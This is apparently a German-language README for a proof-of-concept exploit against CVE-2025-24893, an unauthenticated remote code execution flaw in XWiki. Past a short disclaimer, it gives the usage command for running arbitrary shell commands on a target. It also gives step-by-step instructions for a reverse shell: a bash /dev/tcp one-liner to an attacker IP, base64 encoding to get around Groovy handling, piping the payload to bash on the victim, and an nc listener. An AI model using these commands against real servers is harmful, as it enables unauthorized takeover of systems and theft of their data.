CVE-2025-24893 - XWiki Remote Code Execution (RCE)

Ein aktualisierter Proof-of-Concept (PoC) Exploit für CVE-2025-24893, eine kritische, nicht authentifizierte RCE-Sicherheitslücke in XWiki. Diese Version verbessert das Original, indem sie die Ausführung beliebiger Shell-Befehle und eine saubere Reverse-Shell-Injektion ermöglicht.

Von: HexHunter404

⚠️ Warnung

Dieser Code wird ausschließlich für Bildungszwecke und autorisierte Penetrationstests bereitgestellt.
Verwenden Sie ihn nicht auf Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

✨ Funktionen

• Unterstützt Befehlsausführung über bash -c '<command>'
• Vollständige Unterstützung für Reverse Shells (über Base64 zur Umgehung von Groovy-Problemen)
• Verbesserte Handhabung der Befehlsausgabe
• Behält den /xwiki-Pfad bei und vermeidet Weiterleitungsschleifen

🐍 Verwendung

python3 CVE-2025-24893-PoC.py -u http://<target>/xwiki -c "<command>"

🐚 Eine Reverse Shell erhalten

. Base64-kodieren Sie Ihre Reverse Shell

echo "bash -i >& /dev/tcp/[IP]/4444 0>&1" | base64

. Senden Sie es mit dem PoC

python3  CVE-2025-24893-PoC.py -u [URL] -c "echo [Base64 Payload] | base64 -d | bash"

. Richten Sie Ihren Listener ein

nc -lvnp 4444

Bei Erfolg erhalten Sie eine Shell